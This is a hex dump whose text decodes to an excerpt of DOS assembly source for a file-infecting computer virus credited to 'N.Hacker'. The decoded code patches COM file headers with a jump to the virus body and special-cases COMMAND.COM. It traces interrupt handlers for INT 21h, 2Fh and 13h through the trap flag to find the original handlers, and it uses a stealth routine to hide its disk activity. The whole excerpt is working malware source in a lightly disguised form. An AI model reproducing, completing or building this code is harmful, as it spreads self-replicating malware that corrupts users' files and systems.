|00003ea0| 46 69 6c 65 0d 0a 0d 0a | 4f 4b 5f 43 4f 4d 5f 66 |File....|OK_COM_f|
|00003eb0| 69 6c 65 3a 0d 0a 0d 0a | 09 6d 6f 76 09 61 78 2c |ile:....|.mov.ax,|
|00003ec0| 65 73 3a 5b 64 69 5d 0d | 0a 09 61 64 64 09 61 78 |es:[di].|..add.ax|
|00003ed0| 2c 53 74 61 72 74 5f 56 | 69 72 75 73 2d 61 64 6a |,Start_V|irus-adj|
|00003ee0| 75 73 74 2d 33 0d 0a 09 | 63 61 6c 6c 09 43 68 65 |ust-3...|call.Che|
|00003ef0| 63 6b 5f 46 6f 72 5f 43 | 4f 4d 4d 41 4e 44 0d 0a |ck_For_C|OMMAND..|
|00003f00| 09 6a 6e 65 09 4e 6f 72 | 6d 61 6c 6c 79 0d 0a 09 |.jne.Nor|mally...|
|00003f10| 73 75 62 09 61 78 2c 56 | 69 72 75 73 5f 6c 65 6e |sub.ax,V|irus_len|
|00003f20| 67 68 74 0d 0a 0d 0a 4e | 6f 72 6d 61 6c 6c 79 3a |ght....N|ormally:|
|00003f30| 0d 0a 0d 0a 09 6d 6f 76 | 09 62 79 74 65 20 70 74 |.....mov|.byte pt|
|00003f40| 72 20 5b 73 69 5d 2c 30 | 45 39 0d 0a 09 6d 6f 76 |r [si],0|E9...mov|
|00003f50| 09 77 6f 72 64 20 70 74 | 72 20 5b 73 69 2b 31 5d |.word pt|r [si+1]|
|00003f60| 2c 61 78 0d 0a 09 6a 6d | 70 09 77 72 69 74 65 0d |,ax...jm|p.write.|
|00003f70| 0a 0d 0a 4e 6f 74 5f 4f | 4b 5f 43 4f 4d 5f 46 69 |...Not_O|K_COM_Fi|
|00003f80| 6c 65 3a 0d 0a 0d 0a 09 | 6a 6d 70 09 63 6c 6f 73 |le:.....|jmp.clos|
|00003f90| 65 0d 0a 0d 0a 53 65 74 | 5f 56 65 63 74 6f 72 73 |e....Set|_Vectors|
|00003fa0| 3a 0d 0a 0d 0a 09 73 75 | 62 09 61 78 2c 61 78 0d |:.....su|b.ax,ax.|
|00003fb0| 0a 09 6d 6f 76 09 64 73 | 2c 61 78 0d 0a 0d 0a 09 |..mov.ds|,ax.....|
|00003fc0| 70 75 73 68 09 5b 31 2a | 34 5d 0d 0a 09 70 75 73 |push.[1*|4]...pus|
|00003fd0| 68 09 5b 31 2a 34 2b 32 | 5d 20 3b 20 3c 3d 20 28 |h.[1*4+2|] ; <= (|
|00003fe0| 43 29 20 62 79 20 4e 2e | 48 61 63 6b 65 72 2e 0d |C) by N.|Hacker..|
|00003ff0| 0a 0d 0a 09 70 75 73 68 | 66 0d 0a 09 70 75 73 68 |....push|f...push|
|00004000| 66 0d 0a 09 70 75 73 68 | 66 0d 0a 09 70 75 73 68 |f...push|f...push|
|00004010| 66 0d 0a 0d 0a 09 6d 6f | 76 09 62 79 74 65 20 70 |f.....mo|v.byte p|
|00004020| 74 72 20 63 73 3a 5b 66 | 6c 61 67 2d 61 64 6a 75 |tr cs:[f|lag-adju|
|00004030| 73 74 5d 2c 61 68 0d 0a | 09 6d 6f 76 09 62 79 74 |st],ah..|.mov.byt|
|00004040| 65 20 70 74 72 20 63 73 | 3a 5b 6d 79 5f 66 6c 61 |e ptr cs|:[my_fla|
|00004050| 67 2d 61 64 6a 75 73 74 | 5d 2c 61 68 0d 0a 09 6d |g-adjust|],ah...m|
|00004060| 6f 76 09 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b |ov.word |ptr cs:[|
|00004070| 6c 69 6d 69 74 2d 61 64 | 6a 75 73 74 5d 2c 33 30 |limit-ad|just],30|
|00004080| 30 0d 0a 09 6d 6f 76 09 | 77 6f 72 64 20 70 74 72 |0...mov.|word ptr|
|00004090| 20 63 73 3a 5b 6d 65 6d | 5f 2d 61 64 6a 75 73 74 | cs:[mem|_-adjust|
|000040a0| 5d 2c 6f 72 67 5f 32 31 | 68 2d 61 64 6a 75 73 74 |],org_21|h-adjust|
|000040b0| 0d 0a 0d 0a 09 6d 6f 76 | 09 5b 31 2a 34 5d 2c 6f |.....mov|.[1*4],o|
|000040c0| 66 66 73 65 74 20 74 72 | 61 70 2d 61 64 6a 75 73 |ffset tr|ap-adjus|
|000040d0| 74 0d 0a 09 6d 6f 76 09 | 5b 31 2a 34 2b 32 5d 2c |t...mov.|[1*4+2],|
|000040e0| 63 73 0d 0a 0d 0a 09 63 | 61 6c 6c 09 73 65 74 5f |cs.....c|all.set_|
|000040f0| 74 72 61 63 65 0d 0a 0d | 0a 09 6d 6f 76 09 61 78 |trace...|..mov.ax|
|00004100| 2c 33 35 32 31 0d 0a 0d | 0a 09 63 61 6c 6c 09 64 |,3521...|..call.d|
|00004110| 77 6f 72 64 20 70 74 72 | 20 5b 32 31 68 2a 34 5d |word ptr| [21h*4]|
|00004120| 0d 0a 0d 0a 09 6d 6f 76 | 09 77 6f 72 64 20 70 74 |.....mov|.word pt|
|00004130| 72 20 63 73 3a 5b 63 75 | 72 72 65 6e 74 5f 32 31 |r cs:[cu|rrent_21|
|00004140| 68 2d 61 64 6a 75 73 74 | 5d 2c 62 78 09 3b 67 65 |h-adjust|],bx.;ge|
|00004150| 74 20 6f 6c 64 20 69 6e | 74 20 32 31 0d 0a 09 6d |t old in|t 21...m|
|00004160| 6f 76 09 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b |ov.word |ptr cs:[|
|00004170| 63 75 72 72 65 6e 74 5f | 32 31 68 2d 61 64 6a 75 |current_|21h-adju|
|00004180| 73 74 2b 32 5d 2c 65 73 | 0d 0a 0d 0a 09 6d 6f 76 |st+2],es|.....mov|
|00004190| 09 62 79 74 65 20 70 74 | 72 20 63 73 3a 5b 66 6c |.byte pt|r cs:[fl|
|000041a0| 61 67 2d 61 64 6a 75 73 | 74 5d 2c 30 0d 0a 09 6d |ag-adjus|t],0...m|
|000041b0| 6f 76 09 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b |ov.word |ptr cs:[|
|000041c0| 6d 65 6d 5f 2d 61 64 6a | 75 73 74 5d 2c 6f 72 67 |mem_-adj|ust],org|
|000041d0| 5f 32 66 68 2d 61 64 6a | 75 73 74 0d 0a 0d 0a 09 |_2fh-adj|ust.....|
|000041e0| 63 61 6c 6c 09 73 65 74 | 5f 74 72 61 63 65 0d 0a |call.set|_trace..|
|000041f0| 0d 0a 09 6d 6f 76 09 61 | 78 2c 31 32 30 30 0d 0a |...mov.a|x,1200..|
|00004200| 0d 0a 09 63 61 6c 6c 09 | 64 77 6f 72 64 20 70 74 |...call.|dword pt|
|00004210| 72 20 5b 32 66 68 2a 34 | 5d 09 09 3b 64 6f 20 74 |r [2fh*4|]..;do t|
|00004220| 72 61 63 65 20 69 6e 74 | 20 32 66 0d 0a 0d 0a 0d |race int| 2f.....|
|00004230| 0a 09 6d 6f 76 09 62 79 | 74 65 20 70 74 72 20 63 |..mov.by|te ptr c|
|00004240| 73 3a 5b 66 6c 61 67 2d | 61 64 6a 75 73 74 5d 2c |s:[flag-|adjust],|
|00004250| 30 0d 0a 09 6d 6f 76 09 | 62 79 74 65 20 70 74 72 |0...mov.|byte ptr|
|00004260| 20 63 73 3a 5b 6d 79 5f | 66 6c 61 67 2d 61 64 6a | cs:[my_|flag-adj|
|00004270| 75 73 74 5d 2c 30 46 46 | 0d 0a 09 6d 6f 76 09 77 |ust],0FF|...mov.w|
|00004280| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 6c 69 6d 69 |ord ptr |cs:[limi|
|00004290| 74 2d 61 64 6a 75 73 74 | 5d 2c 30 43 38 30 30 0d |t-adjust|],0C800.|
|000042a0| 0a 09 6d 6f 76 09 77 6f | 72 64 20 70 74 72 20 63 |..mov.wo|rd ptr c|
|000042b0| 73 3a 5b 6d 65 6d 5f 2d | 61 64 6a 75 73 74 5d 2c |s:[mem_-|adjust],|
|000042c0| 6f 72 67 5f 31 33 68 2d | 61 64 6a 75 73 74 0d 0a |org_13h-|adjust..|
|000042d0| 0d 0a 09 63 61 6c 6c 09 | 73 65 74 5f 74 72 61 63 |...call.|set_trac|
|000042e0| 65 0d 0a 0d 0a 09 73 75 | 62 09 61 68 2c 61 68 0d |e.....su|b.ah,ah.|
|000042f0| 0a 0d 0a 09 63 61 6c 6c | 09 64 77 6f 72 64 20 70 |....call|.dword p|
|00004300| 74 72 20 5b 31 33 68 2a | 34 5d 09 3b 64 6f 20 74 |tr [13h*|4].;do t|
|00004310| 72 61 63 65 20 69 6e 74 | 20 31 33 0d 0a 0d 0a 09 |race int| 13.....|
|00004320| 6d 6f 76 09 62 79 74 65 | 20 70 74 72 20 63 73 3a |mov.byte| ptr cs:|
|00004330| 5b 66 6c 61 67 2d 61 64 | 6a 75 73 74 5d 2c 30 0d |[flag-ad|just],0.|
|00004340| 0a 09 6d 6f 76 09 77 6f | 72 64 20 70 74 72 20 63 |..mov.wo|rd ptr c|
|00004350| 73 3a 5b 6c 69 6d 69 74 | 2d 61 64 6a 75 73 74 5d |s:[limit|-adjust]|
|00004360| 2c 30 46 30 30 30 0d 0a | 09 6d 6f 76 09 77 6f 72 |,0F000..|.mov.wor|
|00004370| 64 20 70 74 72 20 63 73 | 3a 5b 6d 65 6d 5f 2d 61 |d ptr cs|:[mem_-a|
|00004380| 64 6a 75 73 74 5d 2c 46 | 6c 6f 70 70 79 5f 6f 72 |djust],F|loppy_or|
|00004390| 67 5f 31 33 68 2d 61 64 | 6a 75 73 74 0d 0a 0d 0a |g_13h-ad|just....|
|000043a0| 09 63 61 6c 6c 09 73 65 | 74 5f 74 72 61 63 65 0d |.call.se|t_trace.|
|000043b0| 0a 0d 0a 09 73 75 62 09 | 61 68 2c 61 68 0d 0a 0d |....sub.|ah,ah...|
|000043c0| 0a 09 63 61 6c 6c 09 64 | 77 6f 72 64 20 70 74 72 |..call.d|word ptr|
|000043d0| 20 5b 31 33 68 2a 34 5d | 0d 0a 0d 0a 09 70 6f 70 | [13h*4]|.....pop|
|000043e0| 09 5b 31 2a 34 2b 32 5d | 0d 0a 09 70 6f 70 09 5b |.[1*4+2]|...pop.[|
|000043f0| 31 2a 34 5d 0d 0a 0d 0a | 09 6d 6f 76 09 5b 32 31 |1*4]....|.mov.[21|
|00004400| 2a 34 5d 2c 6f 66 66 73 | 65 74 20 49 4e 54 5f 32 |*4],offs|et INT_2|
|00004410| 31 68 5f 45 6e 74 72 79 | 5f 50 6f 69 6e 74 2d 61 |1h_Entry|_Point-a|
|00004420| 64 6a 75 73 74 09 09 3b | 73 65 74 20 69 74 0d 0a |djust..;|set it..|
|00004430| 09 6d 6f 76 09 5b 32 31 | 2a 34 2b 32 5d 2c 63 73 |.mov.[21|*4+2],cs|
|00004440| 0d 0a 0d 0a 09 72 65 74 | 66 0d 0a 0d 0a 73 65 74 |.....ret|f....set|
|00004450| 5f 74 72 61 63 65 3a 0d | 0a 0d 0a 09 70 75 73 68 |_trace:.|....push|
|00004460| 66 0d 0a 09 70 6f 70 09 | 61 78 0d 0a 09 6f 72 09 |f...pop.|ax...or.|
|00004470| 61 78 2c 31 30 30 0d 0a | 09 70 75 73 68 09 61 78 |ax,100..|.push.ax|
|00004480| 0d 0a 09 70 6f 70 66 0d | 0a 09 72 65 74 0d 0a 0d |...popf.|..ret...|
|00004490| 0a 74 72 61 70 3a 0d 0a | 09 70 75 73 68 09 62 70 |.trap:..|.push.bp|
|000044a0| 0d 0a 09 6d 6f 76 09 62 | 70 2c 73 70 0d 0a 09 70 |...mov.b|p,sp...p|
|000044b0| 75 73 68 09 62 78 0d 0a | 09 70 75 73 68 09 64 69 |ush.bx..|.push.di|
|000044c0| 0d 0a 09 63 6d 70 09 62 | 79 74 65 20 70 74 72 20 |...cmp.b|yte ptr |
|000044d0| 63 73 3a 5b 66 6c 61 67 | 2d 61 64 6a 75 73 74 5d |cs:[flag|-adjust]|
|000044e0| 2c 30 66 66 0d 0a 09 6a | 65 09 6f 66 66 0d 0a 09 |,0ff...j|e.off...|
|000044f0| 6d 6f 76 09 64 69 2c 77 | 6f 72 64 20 70 74 72 20 |mov.di,w|ord ptr |
|00004500| 63 73 3a 5b 6d 65 6d 5f | 2d 61 64 6a 75 73 74 5d |cs:[mem_|-adjust]|
|00004510| 0d 0a 09 6d 6f 76 09 62 | 78 2c 77 6f 72 64 20 70 |...mov.b|x,word p|
|00004520| 74 72 20 63 73 3a 5b 6c | 69 6d 69 74 2d 61 64 6a |tr cs:[l|imit-adj|
|00004530| 75 73 74 5d 0d 0a 09 63 | 6d 70 09 5b 62 70 2b 34 |ust]...c|mp.[bp+4|
|00004540| 5d 2c 62 78 0d 0a 09 70 | 75 73 68 66 0d 0a 09 63 |],bx...p|ushf...c|
|00004550| 6d 70 09 62 79 74 65 20 | 70 74 72 20 63 73 3a 5b |mp.byte |ptr cs:[|
|00004560| 6d 79 5f 66 6c 61 67 2d | 61 64 6a 75 73 74 5d 2c |my_flag-|adjust],|
|00004570| 30 66 66 0d 0a 09 6a 6e | 65 09 49 74 5f 49 73 5f |0ff...jn|e.It_Is_|
|00004580| 4a 41 0d 0a 0d 0a 09 70 | 6f 70 66 0d 0a 09 6a 62 |JA.....p|opf...jb|
|00004590| 09 47 6f 5f 6f 75 74 5f | 6f 66 5f 74 72 61 70 0d |.Go_out_|of_trap.|
|000045a0| 0a 09 6a 6d 70 09 49 74 | 5f 49 73 5f 4a 42 0d 0a |..jmp.It|_Is_JB..|
|000045b0| 0d 0a 49 74 5f 49 73 5f | 4a 41 3a 0d 0a 0d 0a 09 |..It_Is_|JA:.....|
|000045c0| 70 6f 70 66 0d 0a 09 6a | 61 09 47 6f 5f 6f 75 74 |popf...j|a.Go_out|
|000045d0| 5f 6f 66 5f 74 72 61 70 | 0d 0a 0d 0a 49 74 5f 49 |_of_trap|....It_I|
|000045e0| 73 5f 4a 42 3a 0d 0a 0d | 0a 09 6d 6f 76 09 62 78 |s_JB:...|..mov.bx|
|000045f0| 2c 5b 62 70 2b 32 5d 0d | 0a 09 6d 6f 76 09 77 6f |,[bp+2].|..mov.wo|
|00004600| 72 64 20 70 74 72 20 63 | 73 3a 5b 64 69 5d 2c 62 |rd ptr c|s:[di],b|
|00004610| 78 0d 0a 09 6d 6f 76 09 | 62 78 2c 5b 62 70 2b 34 |x...mov.|bx,[bp+4|
|00004620| 5d 0d 0a 09 6d 6f 76 09 | 77 6f 72 64 20 70 74 72 |]...mov.|word ptr|
|00004630| 20 63 73 3a 5b 64 69 2b | 32 5d 2c 62 78 0d 0a 09 | cs:[di+|2],bx...|
|00004640| 6d 6f 76 09 62 79 74 65 | 20 70 74 72 20 63 73 3a |mov.byte| ptr cs:|
|00004650| 5b 66 6c 61 67 2d 61 64 | 6a 75 73 74 5d 2c 30 66 |[flag-ad|just],0f|
|00004660| 66 0d 0a 6f 66 66 3a 0d | 0a 09 61 6e 64 09 5b 62 |f..off:.|..and.[b|
|00004670| 70 2b 36 5d 2c 30 66 65 | 66 66 0d 0a 0d 0a 47 6f |p+6],0fe|ff....Go|
|00004680| 5f 6f 75 74 5f 6f 66 5f | 74 72 61 70 3a 0d 0a 0d |_out_of_|trap:...|
|00004690| 0a 09 70 6f 70 09 64 69 | 0d 0a 09 70 6f 70 09 62 |..pop.di|...pop.b|
|000046a0| 78 0d 0a 09 70 6f 70 09 | 62 70 0d 0a 09 69 72 65 |x...pop.|bp...ire|
|000046b0| 74 0d 0a 0d 0a 0d 0a 43 | 61 6c 6c 5f 4f 72 69 67 |t......C|all_Orig|
|000046c0| 69 6e 61 6c 5f 49 4e 54 | 5f 32 31 68 3a 0d 0a 0d |inal_INT|_21h:...|
|000046d0| 0a 09 70 75 73 68 66 0d | 0a 09 63 61 6c 6c 09 64 |..pushf.|..call.d|
|000046e0| 77 6f 72 64 20 70 74 72 | 20 63 73 3a 5b 6f 72 67 |word ptr| cs:[org|
|000046f0| 5f 32 31 68 2d 61 64 6a | 75 73 74 5d 0d 0a 09 72 |_21h-adj|ust]...r|
|00004700| 65 74 0d 0a 0d 0a 0d 0a | 0d 0a 43 61 6c 6c 5f 4f |et......|..Call_O|
|00004710| 72 69 67 69 6e 61 6c 5f | 49 4e 54 5f 32 46 68 3a |riginal_|INT_2Fh:|
|00004720| 0d 0a 0d 0a 09 70 75 73 | 68 66 0d 0a 09 63 61 6c |.....pus|hf...cal|
|00004730| 6c 09 64 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b |l.dword |ptr cs:[|
|00004740| 6f 72 67 5f 32 66 68 2d | 61 64 6a 75 73 74 5d 0d |org_2fh-|adjust].|
|00004750| 0a 09 72 65 74 0d 0a 0d | 0a 49 4e 54 5f 32 34 68 |..ret...|.INT_24h|
|00004760| 5f 65 6e 74 72 79 3a 0d | 0a 0d 0a 09 6d 6f 76 09 |_entry:.|....mov.|
|00004770| 61 6c 2c 33 0d 0a 09 69 | 72 65 74 0d 0a 0d 0a 3b |al,3...i|ret....;|
|00004780| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004790| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 0d 0a 3b 20 20 20 |********|**..; |
|000047a0| 20 28 43 29 20 62 79 20 | 4e 2e 48 61 63 6b 65 72 | (C) by |N.Hacker|
|000047b0| 2e 20 20 20 20 20 2a 0d | 0a 3b 20 20 20 20 20 20 |. *.|.; |
|000047c0| 28 62 65 6c 6c 6f 77 29 | 20 20 20 20 20 20 20 20 |(bellow)| |
|000047d0| 20 20 20 2a 0d 0a 3b 2a | 2a 2a 2a 2a 2a 2a 2a 2a | *..;*|********|
|000047e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000047f0| 2a 0d 0a 0d 0a 49 4e 54 | 5f 31 33 68 5f 65 6e 74 |*....INT|_13h_ent|
|00004800| 72 79 3a 0d 0a 0d 0a 09 | 6d 6f 76 09 62 79 74 65 |ry:.....|mov.byte|
|00004810| 20 70 74 72 20 63 73 3a | 5b 6e 65 78 74 5f 66 6c | ptr cs:|[next_fl|
|00004820| 61 67 2d 61 64 6a 75 73 | 74 5d 2c 30 0d 0a 0d 0a |ag-adjus|t],0....|
|00004830| 09 63 6d 70 09 61 68 2c | 32 0d 0a 09 6a 6e 65 09 |.cmp.ah,|2...jne.|
|00004840| 4f 74 68 65 72 0d 0a 0d | 0a 09 63 6d 70 09 62 79 |Other...|..cmp.by|
|00004850| 74 65 20 70 74 72 20 63 | 73 3a 5b 66 75 6e 63 74 |te ptr c|s:[funct|
|00004860| 69 6f 6e 2d 61 64 6a 75 | 73 74 5d 2c 30 33 45 68 |ion-adju|st],03Eh|
|00004870| 0d 0a 09 6a 6e 65 09 44 | 6f 6e 74 5f 68 69 64 65 |...jne.D|ont_hide|
|00004880| 0d 0a 0d 0a 09 64 65 63 | 09 62 79 74 65 20 70 74 |.....dec|.byte pt|
|00004890| 72 20 63 73 3a 5b 6e 65 | 78 74 5f 66 6c 61 67 2d |r cs:[ne|xt_flag-|
|000048a0| 61 64 6a 75 73 74 5d 0d | 0a 09 69 6e 63 09 61 68 |adjust].|..inc.ah|
|000048b0| 0d 0a 09 6a 6e 7a 09 44 | 6f 6e 74 5f 68 69 64 65 |...jnz.D|ont_hide|
|000048c0| 0d 0a 0d 0a 4f 74 68 65 | 72 3a 0d 0a 0d 0a 09 63 |....Othe|r:.....c|
|000048d0| 6d 70 09 61 68 2c 33 0d | 0a 09 6a 6e 65 09 44 6f |mp.ah,3.|..jne.Do|
|000048e0| 6e 74 5f 68 69 64 65 0d | 0a 0d 0a 09 63 6d 70 09 |nt_hide.|....cmp.|
|000048f0| 62 79 74 65 20 70 74 72 | 20 63 73 3a 5b 66 6c 61 |byte ptr| cs:[fla|
|00004900| 67 2d 61 64 6a 75 73 74 | 5d 2c 30 66 66 0d 0a 09 |g-adjust|],0ff...|
|00004910| 6a 65 09 6e 6f 5f 65 72 | 72 6f 72 5f 0d 0a 0d 0a |je.no_er|ror_....|
|00004920| 09 63 6d 70 09 62 79 74 | 65 20 70 74 72 20 63 73 |.cmp.byt|e ptr cs|
|00004930| 3a 5b 66 75 6e 63 74 69 | 6f 6e 2d 61 64 6a 75 73 |:[functi|on-adjus|
|00004940| 74 5d 2c 30 33 45 68 0d | 0a 09 6a 65 09 44 6f 6e |t],03Eh.|..je.Don|
|00004950| 74 5f 68 69 64 65 0d 0a | 0d 0a 09 69 6e 63 09 62 |t_hide..|...inc.b|
|00004960| 79 74 65 20 70 74 72 20 | 63 73 3a 5b 6e 65 78 74 |yte ptr |cs:[next|
|00004970| 5f 66 6c 61 67 2d 61 64 | 6a 75 73 74 5d 0d 0a 09 |_flag-ad|just]...|
|00004980| 64 65 63 09 61 68 0d 0a | 0d 0a 44 6f 6e 74 5f 68 |dec.ah..|..Dont_h|
|00004990| 69 64 65 3a 0d 0a 0d 0a | 09 70 75 73 68 66 0d 0a |ide:....|.pushf..|
|000049a0| 09 63 61 6c 6c 09 64 77 | 6f 72 64 20 70 74 72 20 |.call.dw|ord ptr |
|000049b0| 63 73 3a 5b 63 75 72 72 | 65 6e 74 5f 31 33 68 2d |cs:[curr|ent_13h-|
|000049c0| 61 64 6a 75 73 74 5d 0d | 0a 09 6a 6e 63 09 6e 6f |adjust].|..jnc.no|
|000049d0| 5f 65 72 72 6f 72 5f 0d | 0a 09 6d 6f 76 09 62 79 |_error_.|..mov.by|
|000049e0| 74 65 20 70 74 72 20 63 | 73 3a 5b 66 6c 61 67 2d |te ptr c|s:[flag-|
|000049f0| 61 64 6a 75 73 74 5d 2c | 30 66 66 0d 0a 0d 0a 6e |adjust],|0ff....n|
|00004a00| 6f 5f 65 72 72 6f 72 5f | 3a 0d 0a 0d 0a 09 63 6c |o_error_|:.....cl|
|00004a10| 63 0d 0a 09 64 62 09 30 | 63 61 2c 30 32 2c 30 09 |c...db.0|ca,02,0.|
|00004a20| 09 3b 72 65 74 66 20 32 | 0d 0a 0d 0a 0d 0a 44 4f |.;retf 2|......DO|
|00004a30| 53 5f 31 33 68 3a 0d 0a | 0d 0a 09 63 6d 70 09 62 |S_13h:..|...cmp.b|
|00004a40| 79 74 65 20 70 74 72 20 | 63 73 3a 5b 6e 65 78 74 |yte ptr |cs:[next|
|00004a50| 5f 66 6c 61 67 2d 61 64 | 6a 75 73 74 5d 2c 30 0d |_flag-ad|just],0.|
|00004a60| 0a 09 6a 65 09 4f 4b 0d | 0a 0d 0a 09 63 6d 70 09 |..je.OK.|....cmp.|
|00004a70| 61 68 2c 32 0d 0a 09 6a | 65 09 4e 65 78 74 0d 0a |ah,2...j|e.Next..|
|00004a80| 09 63 6d 70 09 61 68 2c | 33 0d 0a 09 6a 6e 65 09 |.cmp.ah,|3...jne.|
|00004a90| 4f 4b 0d 0a 4e 65 78 74 | 3a 0d 0a 09 63 6d 70 09 |OK..Next|:...cmp.|
|00004aa0| 62 79 74 65 20 70 74 72 | 20 63 73 3a 5b 6e 65 78 |byte ptr| cs:[nex|
|00004ab0| 74 5f 66 6c 61 67 2d 61 | 64 6a 75 73 74 5d 2c 31 |t_flag-a|djust],1|
|00004ac0| 0d 0a 09 6a 6e 65 09 52 | 65 61 64 0d 0a 09 69 6e |...jne.R|ead...in|
|00004ad0| 63 09 61 68 0d 0a 09 6a | 6e 65 09 4f 4b 0d 0a 52 |c.ah...j|ne.OK..R|
|00004ae0| 65 61 64 3a 0d 0a 0d 0a | 09 64 65 63 09 61 68 0d |ead:....|.dec.ah.|
|00004af0| 0a 4f 4b 3a 0d 0a 09 74 | 65 73 74 09 64 6c 2c 38 |.OK:...t|est.dl,8|
|00004b00| 30 0d 0a 09 6a 7a 09 46 | 6c 6f 70 70 79 0d 0a 09 |0...jz.F|loppy...|
|00004b10| 6a 6d 70 09 64 77 6f 72 | 64 20 70 74 72 20 63 73 |jmp.dwor|d ptr cs|
|00004b20| 3a 5b 6f 72 67 5f 31 33 | 68 2d 61 64 6a 75 73 74 |:[org_13|h-adjust|
|00004b30| 5d 0d 0a 46 6c 6f 70 70 | 79 3a 0d 0a 09 6a 6d 70 |]..Flopp|y:...jmp|
|00004b40| 09 64 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 46 |.dword p|tr cs:[F|
|00004b50| 6c 6f 70 70 79 5f 6f 72 | 67 5f 31 33 68 2d 61 64 |loppy_or|g_13h-ad|
|00004b60| 6a 75 73 74 5d 0d 0a 0d | 0a 0d 0a 52 65 61 64 5f |just]...|...Read_|
|00004b70| 46 69 72 73 74 5f 31 38 | 3a 0d 0a 0d 0a 09 73 75 |First_18|:.....su|
|00004b80| 62 09 61 78 2c 61 78 0d | 0a 09 6d 6f 76 09 65 73 |b.ax,ax.|..mov.es|
|00004b90| 3a 5b 64 69 2b 34 5d 2c | 61 78 0d 0a 09 6d 6f 76 |:[di+4],|ax...mov|
|00004ba0| 09 65 73 3a 5b 64 69 2b | 36 5d 2c 61 78 0d 0a 09 |.es:[di+|6],ax...|
|00004bb0| 6d 6f 76 09 61 68 2c 33 | 66 0d 0a 09 6d 6f 76 09 |mov.ah,3|f...mov.|
|00004bc0| 63 78 2c 31 38 0d 0a 09 | 6d 6f 76 09 64 78 2c 62 |cx,18...|mov.dx,b|
|00004bd0| 75 66 66 65 72 2d 61 64 | 6a 75 73 74 0d 0a 09 6d |uffer-ad|just...m|
|00004be0| 6f 76 09 73 69 2c 64 78 | 0d 0a 09 63 61 6c 6c 09 |ov.si,dx|...call.|
|00004bf0| 43 61 6c 6c 5f 4f 72 69 | 67 69 6e 61 6c 5f 49 4e |Call_Ori|ginal_IN|
|00004c00| 54 5f 32 31 68 0d 0a 09 | 63 61 6c 6c 09 70 75 73 |T_21h...|call.pus|
|00004c10| 68 61 0d 0a 09 70 75 73 | 68 09 63 73 0d 0a 09 70 |ha...pus|h.cs...p|
|00004c20| 6f 70 09 65 73 0d 0a 09 | 6d 6f 76 09 64 69 2c 6f |op.es...|mov.di,o|
|00004c30| 66 66 73 65 74 20 46 69 | 72 73 74 5f 31 38 2d 61 |ffset Fi|rst_18-a|
|00004c40| 64 6a 75 73 74 0d 0a 09 | 6d 6f 76 09 63 78 2c 31 |djust...|mov.cx,1|
|00004c50| 38 0d 0a 09 72 65 70 09 | 6d 6f 76 73 62 0d 0a 09 |8...rep.|movsb...|
|00004c60| 63 61 6c 6c 09 70 6f 70 | 61 0d 0a 20 20 20 20 20 |call.pop|a.. |
|00004c70| 20 20 20 72 65 74 0d 0a | 0d 0a 43 68 65 63 6b 5f | ret..|..Check_|
|00004c80| 46 6f 72 5f 43 4f 4d 4d | 41 4e 44 3a 0d 0a 0d 0a |For_COMM|AND:....|
|00004c90| 09 63 6d 70 09 65 73 3a | 5b 64 69 2b 30 66 5d 2c |.cmp.es:|[di+0f],|
|00004ca0| 27 4f 43 27 0d 0a 09 6a | 6e 65 09 4e 6f 74 5f 43 |'OC'...j|ne.Not_C|
|00004cb0| 4f 4d 4d 41 4e 44 0d 0a | 09 63 6d 70 09 65 73 3a |OMMAND..|.cmp.es:|
|00004cc0| 5b 64 69 2b 31 31 5d 2c | 27 4d 4d 27 0d 0a 09 6a |[di+11],|'MM'...j|
|00004cd0| 6e 65 09 4e 6f 74 5f 43 | 4f 4d 4d 41 4e 44 0d 0a |ne.Not_C|OMMAND..|
|00004ce0| 09 63 6d 70 09 65 73 3a | 5b 64 69 2b 31 33 5d 2c |.cmp.es:|[di+13],|
|00004cf0| 27 4e 41 27 0d 0a 09 6a | 6e 65 09 4e 6f 74 5f 43 |'NA'...j|ne.Not_C|
|00004d00| 4f 4d 4d 41 4e 44 09 09 | 09 3b 63 68 65 63 6b 20 |OMMAND..|.;check |
|00004d10| 66 6f 72 20 63 6f 6d 6d | 61 6e 64 2e 63 6f 6d 0d |for comm|and.com.|
|00004d20| 0a 09 63 6d 70 09 65 73 | 3a 5b 64 69 2b 31 35 5d |..cmp.es|:[di+15]|
|00004d30| 2c 27 20 44 27 0d 0a 09 | 6a 6e 65 09 4e 6f 74 5f |,' D'...|jne.Not_|
|00004d40| 43 4f 4d 4d 41 4e 44 0d | 0a 09 63 6d 70 09 65 73 |COMMAND.|..cmp.es|
|00004d50| 3a 5b 64 69 2b 31 37 5d | 2c 27 4f 43 27 0d 0a 09 |:[di+17]|,'OC'...|
|00004d60| 6a 6e 65 09 4e 6f 74 5f | 43 4f 4d 4d 41 4e 44 0d |jne.Not_|COMMAND.|
|00004d70| 0a 09 63 6d 70 09 62 79 | 74 65 20 70 74 72 20 65 |..cmp.by|te ptr e|
|00004d80| 73 3a 5b 64 69 2b 31 39 | 5d 2c 27 4d 27 0d 0a 0d |s:[di+19|],'M'...|
|00004d90| 0a 4e 6f 74 5f 43 4f 4d | 4d 41 4e 44 3a 0d 0a 0d |.Not_COM|MAND:...|
|00004da0| 0a 09 72 65 74 0d 0a 0d | 0a 70 75 73 68 61 3a 0d |..ret...|.pusha:.|
|00004db0| 0a 09 70 6f 70 09 77 6f | 72 64 20 70 74 72 20 63 |..pop.wo|rd ptr c|
|00004dc0| 73 3a 5b 72 65 74 5f 61 | 64 64 72 2d 61 64 6a 75 |s:[ret_a|ddr-adju|
|00004dd0| 73 74 5d 0d 0a 09 70 75 | 73 68 66 0d 0a 09 70 75 |st]...pu|shf...pu|
|00004de0| 73 68 09 61 78 0d 0a 09 | 70 75 73 68 09 62 78 0d |sh.ax...|push.bx.|
|00004df0| 0a 09 70 75 73 68 09 63 | 78 0d 0a 09 70 75 73 68 |..push.c|x...push|
|00004e00| 09 64 78 0d 0a 09 70 75 | 73 68 09 73 69 0d 0a 09 |.dx...pu|sh.si...|
